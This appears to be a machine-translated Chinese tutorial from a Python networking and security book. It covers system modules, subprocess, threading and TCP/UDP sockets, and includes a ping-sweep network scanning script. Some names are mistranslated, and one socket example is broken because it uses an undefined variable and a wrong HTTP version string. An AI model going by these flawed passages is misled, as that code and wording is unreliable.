    {"text": "为此，我们可以执行： python setup . py install 执行上一个命令时，我们将获得下一个文件夹结构： 这也创建了一个 port_scanning_lib 文件夹，其中包含允许我们执行它的文件： python port_scanning . py – h 如果我们使用帮助选项（-h）执行脚本，我们会看到可以使用一系列参数： 我们可以看到在 port_scanning.py 文件中生成的代码： parser = argparse . ArgumentParser ( description = '%s security tool' % \"port_scanning\" . capitalize (), epilog = examples , formatter_class = argparse . RawTextHelpFormatter ) # Main options parser . add_argument ( \"target\" , metavar = \"TARGET\" , nargs = \"*\" ) parser . add_argument ( \"-v\" , \"--verbosity\" , dest = \"verbose\" , action = \"count\" , help = \"verbosity level: -v, -vv, -vvv.\" , default = 1 ) parsed_args = parser . parse_args () # Configure global log log . setLevel ( abs ( 5 - parsed_args . verbose ) % 5 ) # Set Global Config config = GlobalParameters ( parsed_args ) 在这里，我们可以看到定义的参数， GlobalParameters 对象用于传递 parsed_args 变量内的参数。"},
    {"text": "例如，此时，我们可以检索从命令行输入的参数： # ---------------------------------------------------------------------- # # API call # # ---------------------------------------------------------------------- def run ( config ): \"\"\" :param config: GlobalParameters option instance :type config: `GlobalParameters` :raises: TypeError \"\"\" if not isinstance ( config , GlobalParameters ): raise TypeError ( \"Expected GlobalParameters, got '%s' instead\" % type ( config )) # -------------------------------------------------------------------------- # INSERT YOUR CODE HERE # TODO # -------------------------------------------------------------------------- print config print config . target 我们可以从命令行执行脚本，将 ip 目标作为参数传递： python port_scanning . py 127.0 . 0.1 如果现在执行，我们将看到如何在输出中获得第一个引入的参数： 脚本开发的主要开发环境 在本节中，我们将回顾 Pycharm 和 WingIDE 作为 python 脚本开发环境的情况。"},
    {"text": "如果您想尝试不同的选项，我们建议您查看 Python 官方网站上的列表，在那里他们可以根据自己的操作系统和需求查看工具： https://wiki.python.org/moin/IntegratedDevelopmentEnvironments 。"},
    {"text": "在所有环境中，我们将重点介绍以下内容： 皮查姆： http://www.jetbrains.com/pycharm 机翼侧面 ： https://wingware.com 皮查姆 PyCharm 是 Jetbrains 公司开发的 IDE，它基于 IntelliJ IDEA，IntelliJ IDEA 是同一家公司的 IDE，但专注于 Java，是 Android Studio 的基础。"},
    {"text": "PyCharm 有两个版本： 社区版 和 专业版 ，在与 web 框架和数据库支持的集成方面有不同的功能。 在这个 url 中，我们可以看到社区版和专业版的比较： http://www.jetbrains.com/pycharm 这种开发环境的主要优势是： 自动完成、语法高亮、分析工具和重构。"},
    {"text": "Wing Personal 是这个 Python IDE 的免费版本，可以在 上找到 https://wingware.com/downloads/wingide-personal WingIDE 使用系统中安装的 Python 配置： 使用 WingIDE 进行调试 在本例中，我们正在调试一个 Python 脚本，该脚本接受两个输入参数： 一个有趣的话题是在我们的程序中使用选项 Add Breakpoint 选项添加断点的可能性，这样，我们就可以在我们建立断点的地方调试并查看变量的内容： 我们可以在 view_parameters 方法的调用中设置断点。"},
    {"text": "要在带有参数的调试模式下执行脚本，必须编辑脚本的属性，并在调试标记中添加脚本所需的参数： 如果我们在调试模式下执行，函数中有一个断点，我们可以看到本地 字符串变量 中参数的内容： 在以下屏幕截图中，我们可以可视化包含我们正在调试的值的 params 变量的值： 总结 在本章中，我们学习了如何在 Windows 和 Linux 操作系统上安装 Python。"},
    {"text": "进一步阅读 在这些链接中，您将找到有关上述工具和官方 python 文档的更多信息，用于搜索一些已评论的模块： http://winpython.github.io https://docs.python.org/2.7/library/ https://docs.python.org/3.6/library/ https://virtualenv.pypa.io/en/latest https://wiki.python.org/moin/IntegratedDevelopmentEnvironments **"},
    {"text": "二、系统编程包 二、系统编程包 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/02.md 在本章中，我们将介绍 Python 中用于使用 Python 解释器、操作系统和执行命令的主要模块。"},
    {"text": "本章将介绍以下主题： 介绍 Python 中的系统模块 使用文件系统 Python 中的线程 Python 中的多线程和并发 蟒蛇 Socket.io 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 2 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security. 您需要一些关于操作系统中命令执行的基本知识，以及在本地机器上安装 Python 发行版。 介绍 python 中的系统模块 在本节中，我们将解释 Python 中用于使用 Python 解释器、操作系统和使用 sub-procces 模块执行命令的主要模块。"},
    {"text": "您可以在中的 **sys_arguments.py** 文件中找到以下代码： import sys print \"This is the name of the script:\" , sys . argv [ 0 ] print \"The number of arguments is: \" , len ( sys . argv ) print \"The arguments are:\" , str ( sys . argv ) print \"The first argument is \" , sys . argv [ 1 ] 可以使用一些参数执行前面的脚本，例如： $ python sys_arguments . py one two three 如果我们使用三个参数执行前面的脚本，我们可以看到以下结果： 在本例中，我们获得了许多系统变量： 以下是恢复该信息的主要属性和方法： sys.platform ：返回当前操作系统 sys.stdin、sys、stdout、sys.stderr ：分别指向标准输入、标准输出和标准错误输出的文件对象 sys.version ：返回解释器版本 sys.getfilesystemencoding（） ：返回文件系统使用的编码 sys.getdefaultencoding（） ：返回默认编码 sys.path ：返回当使用 import 指令或使用文件名时，解释器在其中搜索模块的所有目录的列表，但没有完整路径 You can find more information on the Python online module documents at http://docs.python.org/library/sys . 操作系统模块 操作系统（os）模块是访问操作系统中不同功能的最佳机制。"},
    {"text": "此模块的使用取决于所使用的操作系统。 如果我们使用这个模块，我们将不得不调整脚本，如果我们从一个操作系统转到另一个操作系统。 这个模块允许我们与操作系统环境、文件系统和权限进行交互。"},
    {"text": "您可以在 os 模块子文件夹的 check_filename.py 文件中找到以下代码： import sys import os if len ( sys . argv ) == 2 : filename = sys . argv [ 1 ] if not os . path . isfile ( filename ): print '[-] ' + filename + ' does not exist.' exit ( 0 ) if not os . access ( filename , os . R_OK ): print '[-] ' + filename + ' access denied.' exit ( 0 ) 当前工作目录的内容 在本例中， os 模块使用 os.getcwd() 方法列出当前工作目录的内容。 您可以在 os 模块子文件夹的 show_content_directory.py 文件中找到以下代码： import os pwd = os . getcwd () list_directory = os . listdir ( pwd ) for directory in list_directory : print directory 以下是前面代码的主要步骤： 导入 os 模块。 使用 os 模块，调用 **os.getcwd()** 方法检索当前工作目录路径，并将该值存储在 pwd 变量上。"},
    {"text": "以下是从操作系统模块恢复信息的主要方法： os.system（） ：允许我们执行 shell 命令 os.listdir（path） ：返回一个列表，其中包含作为参数传递的目录内容 os.walk（path） ：导航提供的路径目录中的所有目录，并返回三个值：路径目录、子目录的名称和当前目录路径中的文件名列表。"},
    {"text": "您可以在 os 模块子文件夹的** check_files_directory.py **文件中找到以下代码： import os for root , dirs , files in os . walk ( \".\" , topdown = False ): for name in files : print ( os . path . join ( root , name )) for name in dirs : print name 确定操作系统 下一个脚本确定代码是在 Windows 操作系统上运行还是在 Linux 平台上运行。"},
    {"text": "根据返回值的不同，我们可以看到 ping 命令在 Windows 和 Linux 中有所不同。 Windows 操作系统使用 ping–n1 发送 ICMP 回显请求的一个数据包，而 Linux 或其他操作系统使用 ping–c1。"},
    {"text": "您可以在 os 模块子文件夹的** operating_system.py **文件中找到以下代码： import os import platform operating_system = platform . system () print operating_system if ( operating_system == \"Windows\" ): ping_command = \"ping -n 1 127.0.0.1\" elif ( operating_system == \"Linux\" ): ping_command = \"ping -c 1 127.0.0.1\" else : ping_command = \"ping -c 1 127.0.0.1\" print ping_command 子流程模块 标准子流程模块允许您从 Python 调用流程并与之通信，将数据发送到输入（stdin），并接收输出信息（stdout）。"},
    {"text": "通过**help（subprocess）**命令，我们可以看到以下信息： 执行命令或调用进程的最简单方法是通过 call() 函数（从 Python 2.4 到 3.4）或 run() （对于 Python 3.5+）。"},
    {"text": "您可以在子流程子文件夹中的** SystemCalls.py **文件中找到此代码： import os import subprocess # using system os . system ( \"ls -la\" ) # using subprocess subprocess . call ([ \"ls\" , \"-la\" ]) 为了能够使用终端命令（例如 clear 或 cls 来清理控制台，cd 在目录树中移动，等等），需要指示 shell=True 参数： >> subprocess . call ( \"cls\" , shell = True ) 在本例中，它要求用户写下自己的姓名，然后在屏幕上打印问候语。"},
    {"text": "Linux 发行版区分 SIGTERM 和 SIGKILL 信号： >>> p = subprocess . Popen ([ \"python\" , \"--version\" ]) >>> p . terminate () Popen 函数与 call 函数相比，它提供了更大的灵活性，因为它在新进程中作为子程序执行命令。"},
    {"text": "您可以在官方文档中获得有关 Popen 构造函数和提供 Popen 类的方法的更多信息： https://docs.python.org/2/library/subprocess.html#popen-建造商 。"},
    {"text": "您可以在子流程子文件夹中的** PingScanNetWork.py **文件中找到以下代码： #!/usr/bin/env python from subprocess import Popen , PIPE import sys import argparse parser = argparse . ArgumentParser ( description = 'Ping Scan Network' ) # Main arguments parser . add_argument ( \"-network\" , dest = \"network\" , help = \"NetWork segment[For example 192.168.56]\" , required = True ) parser . add_argument ( \"-machines\" , dest = \"machines\" , help = \"Machines number\" , type = int , required = True ) parsed_args = parser . parse_args () for ip in range ( 1 , parsed_args . machines + 1 ): ipAddress = parsed_args . network + '.' + str ( ip ) print \"Scanning %s \" % ( ipAddress ) if sys . platform . startswith ( 'linux' ): # Linux subprocess = Popen ([ '/bin/ping' , '-c 1 ' , ipAddress ], stdin = PIPE , stdout = PIPE , stderr = PIPE ) elif sys . platform . startswith ( 'win' ): # Windows subprocess = Popen ([ 'ping' , ipAddress ], stdin = PIPE , stdout = PIPE , stderr = PIPE ) stdout , stderr = subprocess . communicate ( input = None ) print stdout if \"Lost = 0\" in stdout or \"bytes from \" in stdout : print \"The Ip Address %s has responded with a ECHO_REPLY!\" % ( stdout . split ()[ 1 ]) 要执行此脚本，我们需要将正在分析的网络和要检查的机器号作为参数传递： python PingScanNetWork . py - network 192.168 . 56 - machines 1 以下是扫描 129.168.56 网络和一台机器的结果： 在 Python 中使用文件系统 在本节中，我们将介绍 Python 中的主要模块，这些模块用于使用文件系统、访问文件和目录、读取和创建文件，以及使用和不使用上下文管理器的操作。"},
    {"text": "在本例中，我们将看到如何递归浏览目录并检索该目录中所有文件的名称： import os # you can change the \"/\" to a directory of your choice for file in os . walk ( \"/\" ): print ( file ) 检查特定路径是文件还是目录 我们可以检查某个字符串是文件还是目录。 为此，我们可以使用 os.path.isfile() 方法，如果是文件，则返回 True ，如果是目录，则返回 False ： >>> import os >>> os . path . isfile ( \"/\" ) False >>> os . path . isfile ( \"./main.py\" ) True 检查文件或目录是否存在 如果要检查当前工作路径目录中是否存在文件，可以使用 os.path.exists() 功能，将要检查的文件或目录作为参数传递： >>> import os >>> os . path . exists ( \"./main.py\" ) True >>> os . path . exists ( \"./not_exists.py\" ) False 在 Python 中创建目录 您可以使用 os.makedirs() 功能创建自己的目录： >>> if not os . path . exists ( 'my_dir' ): >>> os . makedirs ( 'my_dir' ) 此代码检查 my_dir 目录是否存在；"},
    {"text": "如果不存在，则调用 os.makedirs （ my_dir **）**创建目录。 如果在验证目录不存在后创建目录，则在执行对 os.makedirs （“ my_dir ”）的调用之前，可能会生成错误或异常。"},
    {"text": "如果您想格外小心并捕获任何潜在的异常，可以将对 os.makedirs（“ my_dir ”）的调用包装在一个 try 中……除了 块： if not os . path . exists ( 'my_dir' ): try : os . makedirs ( 'my_dir' ) except OSError as e : print e 用 Python 读写文件 现在，我们将回顾读写文件的方法。"},
    {"text": "例如，您可以在选项中添加“+”，允许对同一对象执行读/写操作： >>> my_file = open ( \"file.txt\" , \"r”) 要读取文件，我们有几种可能： readlines() 方法，读取文件的所有行并按顺序连接它们。 如果您想一次读取整个文件，此方法非常有用： >>> allLines = file.readlines() 。 如果我们想逐行读取文件，我们可以使用 readline() 方法。 这样，如果我们想要逐个读取文件的所有行，我们可以使用 file 对象作为迭代器： >>> for line in file : >>> print line 使用上下文管理器 Python 中有多种创建文件的方法，但最干净的方法是使用带关键字的**，在本例中，我们使用的是 上下文管理器方法 。"},
    {"text": "with 命令允许对文件执行许多操作： >>> with open ( \"somefile.txt\" , \"r\" ) as file : >>> for line in file : >>> print line 这样做的好处是：文件自动关闭，不需要调用 close() 方法。"},
    {"text": "您可以在文件名 **create_file.py** 中找到以下代码 def main (): with open ( 'test.txt' , 'w' ) as file : file . write ( \"this is a test file\" ) if __name__ == '__main__' : main () 前面的脚本使用上下文管理器打开文件，并将其作为文件对象返回。"},
    {"text": "For more information about the with statement, you can check out the official documentation at https://docs.python.org/2/reference/compound_stmts.html#the-with-statement . 逐行读取文件 我们可以逐行迭代文件： >>> with open ( 'test.txt' , 'r' ) as file : >>> for line in file : >>> print ( line ) 在本例中，我们在处理文件时将所有这些功能与异常管理结合起来。 您可以在** create_file_exceptions.py **文件中找到以下代码： def main (): try : with open ( 'test.txt' , 'w' ) as file : file . write ( \"this is a test file\" ) except IOError as e : print ( \"Exception caught: Unable to write to file\" , e ) except Exception as e : print ( \"Another error occurred \" , e ) else : print ( \"File written to successfully\" ) if __name__ == '__main__' : main () Python 中的线程 在本节中，我们将介绍线程的概念，以及如何使用 Python 模块管理线程。"},
    {"text": "thread 模块将允许我们使用多个线程： 在本例中，我们创建了四个线程，每个线程在屏幕上打印一条不同的消息，该消息在 thread_message (message) 方法中作为参数传递。 您可以在 threads 子文件夹中的** threads_init.py **文件中找到以下代码： import thread import time num_threads = 4 def thread_message ( message ): global num_threads num_threads -= 1 print ( 'Message from thread %s \\n ' % message ) while num_threads > 0 : print \"I am the %s thread\" % num_threads thread . start_new_thread ( thread_message ,( \"I am the %s thread\" % num_threads ,)) time . sleep ( 0.1 ) 如果调用 help（thread）命令，我们可以看到更多关于 start_new_thread() 方法的信息： 线程模块 除了 thread 模块之外，我们还有另一种使用 threading 模块的方法。"},
    {"text": "线程模块依赖于 thread 模块为我们提供更高级别、更完整、面向对象的 API。 线程模块稍微基于 Java 线程模型。 线程模块包含一个线程类，我们必须扩展该类以创建自己的执行线程。"},
    {"text": "在 Python 中创建新线程之前，我们先回顾一下 Python 线程类 init method 构造函数，看看需要传入哪些参数： # Python Thread class Constructor def __init__ ( self , group = None , target = None , name = None , args = (), kwargs = None , verbose = None ): 线程类构造函数接受五个参数作为参数： 组 ：为以后扩展预留的特殊参数。"},
    {"text": "如果在 Python 解释器控制台中调用**help（threading）**命令，我们可以获得有关 init() 方法的更多信息： 让我们创建一个简单的脚本，然后使用它创建第一个线程： 您可以在 threads 子文件夹中的** threading_init.py **文件中找到以下代码： import threading def myTask (): print ( \"Hello World: {}\" . format ( threading . current_thread ())) # We create our first thread and pass in our myTask function myFirstThread = threading . Thread ( target = myTask ) # We start out thread myFirstThread . start () 为了让线程开始执行其代码，创建我们刚刚定义的类的实例并调用其 start 方法就足够了。"},
    {"text": "您可以在 threads 子文件夹中的** threading_example.py **文件中找到以下代码： import threading class MyThread ( threading . Thread ): def __init__ ( self , message ): threading . Thread . __init__ ( self ) self . message = message def run ( self ): print self . message threads = [] for num in range ( 0 , 5 ): thread = MyThread ( \"I am the \" + str ( num ) + \" thread\" ) thread . name = num thread . start () 我们也可以使用 thread.join() 方法等待线程终止。"},
    {"text": "您可以在 threads 子文件夹中的** threading_join.py **文件中找到以下代码： import threading class thread_message ( threading . Thread ): def __init__ ( self , message ): threading . Thread . __init__ ( self ) self . message = message def run ( self ): print self . message threads = [] for num in range ( 0 , 10 ): thread = thread_message ( \"I am the \" + str ( num ) + \" thread\" ) thread . start () threads . append ( thread ) # wait for all threads to complete by entering them for thread in threads : thread . join () Python 中的多线程和并发 在本节中，我们将介绍多线程和并发的概念，以及如何使用 python 模块管理它们。"},
    {"text": "Python 中的多线程 Python 有一个 API，允许我们使用多线程编写应用。 为了开始使用多线程，我们将在 python 类中创建一个新线程，并将其命名为** ThreadWorker.py 。"},
    {"text": "**此类从 threading.Thread 扩展而来，包含管理一个线程的代码： import threading class ThreadWorker ( threading . Thread ): # Our workers constructor def __init__ ( self ): super ( ThreadWorker , self ). __init__ () def run ( self ): for i in range ( 10 ): print ( i ) 现在我们有了线程工作者类，我们可以开始处理我们的主类了。 创建一个新的 python 文件，将其命名为 main.py ，并放入以下代码： import threading from ThreadWorker import ThreadWorker def main (): # This initializes ''thread'' as an instance of our Worker Thread thread = ThreadWorker () # This is the code needed to run our thread thread . start () if __name__ == \"__main__\" : main () Documentation about the threading module is available at https://docs.python.org/3/library/threading.html . 经典 python 线程的限制 Python 线程的经典实现的主要问题之一是它们的执行不是完全异步的。"},
    {"text": "这使得为 Python 编写 C 扩展变得更加容易，但它的缺点是性能受到很大限制，因此尽管如此，在 Python 中，有时我们可能对使用进程比使用线程更感兴趣，因为线程不受此限制。"},
    {"text": "More about the GIL can be found at https://wiki.python.org/moin/GlobalInterpreterLock . python 中使用 ThreadPoolExecutor 的并发性 在本节中，我们将回顾 ThreadPoolExecutor 类，该类提供异步执行任务的接口。"},
    {"text": "创建线程池执行器 我们可以使用 init 构造函数定义我们的 ThreadPoolExecutor 对象： executor = ThreadPoolExecutor ( max_workers = 5 ) 如果将最大工作线程数作为参数传递给构造函数，则可以创建 ThreadPoolExecutor。"},
    {"text": "为了使用我们的 ThreadPoolExecutor ，我们可以调用 submit() 方法，该方法将异步执行该代码的函数作为参数： executor.submit(myFunction()) 线程池执行器在实践中的应用 在本例中，我们分析了 ThreadPoolExecutor 类对象的创建。"},
    {"text": "您可以在并发子文件夹的 **threadPoolConcurrency.py** 文件中找到以下代码： #python 3 from concurrent.futures import ThreadPoolExecutor import threading import random def view_thread (): print ( \"Executing Thread\" ) print ( \"Accesing thread : {}\" . format ( threading . get_ident ())) print ( \"Thread Executed {}\" . format ( threading . current_thread ())) def main (): executor = ThreadPoolExecutor ( max_workers = 3 ) thread1 = executor . submit ( view_thread ) thread1 = executor . submit ( view_thread ) thread3 = executor . submit ( view_thread ) if __name__ == '__main__' : main () 我们看到脚本输出中的三个不同值是三个不同的线程标识符，我们获得了三个不同的守护进程线程： 使用上下文管理器执行 ThreadPoolExecutor 实例化 ThreadPoolExecutor 的另一种方法是使用 with 语句将其用作上下文管理器： with ThreadPoolExecutor(max_workers=2) as executor: 在本例中，在我们的主函数中，我们使用 ThreadPoolExecutor 作为上下文管理器，然后调用 future = executor.submit(message, (message)) 两次来处理 threadpool 中的每条消息。 您可以在并发子文件夹的 threadPoolConcurrency2.py 文件中找到以下代码： from concurrent.futures import ThreadPoolExecutor def message ( message ): print ( \"Processing {}\" . format ( message )) def main (): print ( \"Starting ThreadPoolExecutor\" ) with ThreadPoolExecutor ( max_workers = 2 ) as executor : future = executor . submit ( message , ( \"message 1\" )) future = executor . submit ( message , ( \"message 2\" )) print ( \"All messages complete\" ) if __name__ == '__main__' : main () pythonsocket.io 在本节中，我们将回顾如何使用 socket.io 模块创建基于 Python 的 Web 服务器。"},
    {"text": "使用 socket.io 实现服务器 Socket.IO 服务器在官方 python 存储库中可用，可以通过 pip: pip install python-socketio. 安装 完整文件可在 上查阅 https://python-socketio.readthedocs.io/en/latest/ 。 下面是一个在 python 3.5 中工作的示例，其中我们使用异步 IO 的 aiohttp 框架实现了一个 Socket.IO 服务器： from aiohttp import web import socketio socket_io = socketio . AsyncServer () app = web . Application () socket_io . attach ( app ) async def index ( request ): return web . Response ( text = 'Hello world from socketio' content_type = 'text/html' ) # You will receive the new messages and send them by socket @ socket_io . on ( 'message' ) def print_message ( sid , message ): print ( \"Socket ID: \" , sid ) print ( message ) app . router . add_get ( '/' , index ) if __name__ == '__main__' : web . run_app ( app ) 在前面的代码中，我们实现了一个基于 socket.io 的服务器，它使用 aiohttp 模块。"},
    {"text": "正如您在代码中所看到的，我们定义了两种方法， index () 方法，在收到“/”根端点上的请求时返回响应消息，以及包含 @socketio.on （‘消息’）注释的 print_message () 方法。"},
    {"text": "进一步阅读 在这些链接中，您将找到有关上述工具的更多信息以及我们讨论的一些模块的官方 python 文档： https://docs.python.org/3/tutorial/inputoutput.html https://docs.python.org/3/library/threading.html https://wiki.python.org/moin/GlobalInterpreterLock https://docs.python.org/3/library/concurrent.futures.html 对使用 aiohttp 和 asyncio 等技术进行 web 服务器编程感兴趣的读者应该参考 Flask（ 等框架）http://flask.pocoo.org 和 Django（ https://www.djangoproject.com ）。"},
    {"text": "三、套接字编程 三、套接字编程 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/03.md 本章将向您介绍使用 socket 模块的 Python 网络的一些基础知识。"},
    {"text": "本章将介绍以下主题： 了解套接字以及如何在 Python 中实现它们 了解 Python 中的 TCP 客户端和服务器编程 了解 Python 中的 UDP 客户端和服务器编程 了解解析 IP 地址和域的套接字方法 在实际用例中应用所有概念，例如端口扫描和管理异常 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 3 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "您可以将套接字视为客户端和服务器之间的点对点通信通道。 网络套接字是在相同或不同计算机上的进程之间建立通信的一种简单方法。 套接字的概念与 UNIX 文件描述符的概念非常相似。 像 read() 和 write() （用于文件系统）这样的命令的工作方式与套接字类似。"},
    {"text": "在 Python 中创建套接字是通过 socket.socket() 方法完成的。 套接字方法的一般语法如下所示： s = socket . socket ( socket_family , socket_type , protocol = 0 ) 这些 参数 表示传输层的地址族和协议。 根据套接字类型，根据服务使用的是 TCP 还是 UDP，套接字分为流套接字（ socket.SOCK_STREAM 或数据报套接字（ socket.SOCK_DGRAM ），其中 socket.SOCK_DGRAM 用于 UDP 通信， socket.SOCK_STREAM 用于 TCP 连接。"},
    {"text": "我们有 UNIX 套接字（ socket.AF_UNIX ），它是在网络概念出现之前创建的，基于文件，我们感兴趣的是 socket.AF_INET 套接字， socket.AF_INET6 for IPv6 套接字，等等： 插座模块 使用套接字所需的类型和函数可以在 Python 的 socket 模块中找到。"},
    {"text": "在最常用的常量中，我们可以突出显示以下内容： socket . AF_INET socket . SOCK_STREAM 构建在 TCP 级别工作的套接字的典型调用是： socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) 套接字方法 以下是我们可以在客户端和服务器中使用的通用套接字方法： socket.recv(buflen) ：此方法从套接字接收数据。"},
    {"text": "socket.recvfrom(buflen) ：此方法接收数据和发送方地址。 socket.recv_into(buffer) ：此方法将数据接收到缓冲区。 socket.recvfrom_into(buffer) ：此方法将数据接收到缓冲区。 socket.send(bytes) ：此方法向指定目标发送字节数据。 socket.sendto(data, address) ：此方法将数据发送到给定的地址。 socket.sendall(data) ：此方法将缓冲区中的所有数据发送到套接字。 socket.close() ：此方法释放内存并完成连接。"},
    {"text": "从服务器的角度来看，我们可以使用以下主要方法： socket.bind(address) ：此方法允许我们将地址与套接字连接，要求在与地址建立连接之前必须打开套接字 socket.listen(count) ：此方法接受来自客户端的最大连接数作为参数，并为传入连接启动 TCP 侦听器 socket.accept() ：此方法允许我们接受来自客户端的连接。"},
    {"text": "此方法返回两个值： client_socket 和客户端地址。 client_socket 是用于发送和接收数据的新套接字对象。 在使用此方法之前，必须调用 socket.bind(address) 和 socket.listen(q) 方法 客户端套接字方法 这是我们可以在套接字客户端中用于连接服务器的套接字方法： socket.connect(ip_address) ：此方法将客户端连接到服务器 IP 地址 我们可以通过 help(socket) 命令获得有关此方法的更多信息。"},
    {"text": "对于 UDP 通信，我们使用 sendto () 和 recvfrom () 在这个 socket_data.py 脚本中，我们使用 AF_INET 和 SOCK_STREAM 参数创建了一个套接字对象。"},
    {"text": "您可以在 socket_data.py 文件中找到以下代码： import socket print 'creating socket ...' # create a socket object client = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) print 'socket created' print \"connection with remote host\" s . connect (( 'www.google.com' , 80 )) print 'connection ok' s . send ( 'GET /index.html HTML/1.1 \\r\\n\\r\\n ' ) while 1 : data = s . recv ( 128 ) print data if data == \"\" : break print 'closing the socket' s . close () 创建简单的 TCP 客户端和 TCP 服务器 创建此应用的想法是，套接字客户端可以针对给定的主机、端口和协议建立连接。"},
    {"text": "我们要做的第一件事是为服务器创建套接字对象： server = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) 我们现在必须指出服务器将使用 bind 方法侦听哪个端口。"},
    {"text": "bind(IP,PORT) 方法允许您将主机和端口与特定套接字相关联，同时考虑到端口 1-1024 是为标准协议保留的： server . bind (( \"localhost\" , 9999 )) 最后，我们使用 listen 使套接字接受传入连接并开始侦听。"},
    {"text": "要接受来自客户端套接字的请求，应使用 accept() 方法。 这样，服务器套接字将等待从另一台主机接收输入连接： server . listen ( 10 ) socket_client , ( host , port ) = server . accept () 我们可以通过 help(socket) 命令获得关于这些方法的更多信息： 一旦我们有了这个套接字对象，我们就可以通过它与客户机通信，使用 recv 和 send 方法（或者 UDP 中的 recvfrom 和 sendfrom 方法），分别允许我们接收或发送消息。 send 方法将要发送的数据作为参数， recv 方法将要接受的最大字节数作为参数： received = socket_client . recv ( 1024 ) print \"Received: \" , received socket_client . send ( received ) 要创建客户机，我们必须创建 socket 对象，使用 connect 方法连接到服务器，并使用前面看到的 send 和 recv 方法。 connect 参数是一个具有主机和端口的元组，与 bind 完全相同： socket_client = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) socket_client . connect (( \"localhost\" , 9999 )) socket_client . send ( \"message\" ) 让我们看一个完整的例子。"},
    {"text": "您可以在 tcp_client_server 文件夹内的 tcp_server.py 文件中找到以下代码： import socket import threading bind_ip = \"localhost\" bind_port = 9999 server = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) server . bind (( bind_ip , bind_port )) server . listen ( 5 ) print \"[*] Listening on %s:%d\" % ( bind_ip , bind_port ) # this is our client-handling thread def handle_client ( client_socket ): # print out what the client sends request = client_socket . recv ( 1024 ) print \"[*] Received: %s\" % request # send back a packet client_socket . send ( \"Message received\" ) client_socket . close () while True : client , addr = server . accept () print \"[*] Accepted connection from: %s:%d\" % ( addr [ 0 ], addr [ 1 ]) # spin up our client thread to handle incoming data client_handler = threading . Thread ( target = handle_client , args = ( client ,)) client_handler . start () TCP 客户端的实现 客户端套接字打开的套接字类型与服务器正在侦听的套接字类型相同，并发送消息。"},
    {"text": "您可以在 tcp_client_server 文件夹内的 tcp_client.py 文件中找到以下代码： import socket s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) host = \"127.0.0.1\" # server address port = 9999 #server port s . connect (( host , port )) print s . recv ( 1024 ) while True : message = raw_input ( \"> \" ) s . send ( message ) if message == \"quit\" : break s . close () 在前面的代码中， new: s.connect((host,port)) 方法将客户端连接到服务器， s.recv(1024) 方法接收服务器发送的字符串。"},
    {"text": "UDP 帧的标头由四个字段组成： UDP 源端口 UDP 目标端口 UDP 消息的长度 chekSum 作为错误控制字段 在 Python 中使用 TCP 的唯一区别是，在创建套接字时，必须使用 SOCK_DGRAM 而不是 SOCK_STREAM 。"},
    {"text": "The main difference between TCP and UDP is that UDP is not connection-oriented, this means that there is no guarantee our packets will reach their destinations, and no error notification if a delivery fails. 带有套接字模块的 UDP 客户端和服务器 在本例中，我们将创建一个同步 UDP 服务器，这意味着每个请求必须等到上一个请求的处理结束。"},
    {"text": "实现 UDP 服务器 与 TCP 的主要区别在于 UDP 不控制发送的数据包的错误。 TCP 套接字和 UDP 套接字之间的唯一区别是，在创建套接字对象时必须指定 SOCK_DGRAM 而不是 SOCK_STREAM 。"},
    {"text": "使用以下代码创建 UDP 服务器： 您可以在 udp_client_server 文件夹中的** udp_server.py **文件中找到以下代码： import socket , sys buffer = 4096 host = \"127.0.0.1\" port = 6789 socket_server = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) socket_server . bind (( host , port )) while True : data , addr = socket_server . recvfrom ( buffer ) data = data . strip () print \"received from: \" , addr print \"message: \" , data try : response = \"Hi %s\" % sys . platform except Exception , e : response = \"%s\" % sys . exc_info ()[ 0 ] print \"Response\" , response socket_server . sendto ( \"%s \" % response , addr ) socket_server . close () 在前面的代码中，我们看到 socket.SOCK_DGRAM 创建了一个 UDP 套接字，数据** addr = s.recvfrom(buffer) **返回数据和源地址。"},
    {"text": "此端口号是任意的，但您必须确保未使用已使用的套接字： UDP_IP_ADDRESS = \"127.0.0.1\" UDP_PORT = 6789 message = \"Hello, Server\" 现在是创建套接字的时候了，我们将通过该套接字向服务器发送 UDP 消息： clientSocket = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) 最后，一旦我们构建了新的套接字，就可以编写代码来发送 UDP 消息了： clientSocket . sendto ( Message , ( UDP_IP_ADDRESS , UDP_PORT )) 您可以在 udp_client_server 文件夹内的** udp_client.py 文件 中找到以下代码：** **```py import socket UDP_IP_ADDRESS = \"127.0.0.1\" UDP_PORT = 6789 buffer=4096 address = (UDP_IP_ADDRESS ,UDP_PORT) socket_client=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) while True: message = raw_input('?: ').strip() if message==\"quit\": break socket_client.sendto(\"%s\" % message,address) response,addr = socket_client.recvfrom(buffer) print \"=> %s\" % response socket_client.close() If we try to use `SOCK_STREAM` with the UDP socket, we get `error: Traceback (most recent call last): File \".\\udp_server.py\", line 15, in <module> data,addr = socket_server.recvfrom(buffer)socket.error: [Errno 10057] A request to send or receive data was disallowed because the socket is not connected and no address was supplied`. # 解析 IP 地址和域 在本章中，我们研究了如何在 Python 中构建套接字，既面向 TCP 连接，又不面向 UDP 连接。"},
    {"text": "# 使用套接字收集信息 收集更多信息的有用方法有： * `gethostbyaddr(address)`：允许我们从 IP 地址获取域名 * `gethostbyname(hostname)`：允许我们从域名获取 IP 地址 我们可以通过`help(socket)`命令获得关于这些方法的更多信息： ![](img/dcfa6c52-52f4-4d99-95c6-fe9fcf06dd81.png) 现在我们将详细介绍一些与主机、IP 地址和域解析相关的方法。"},
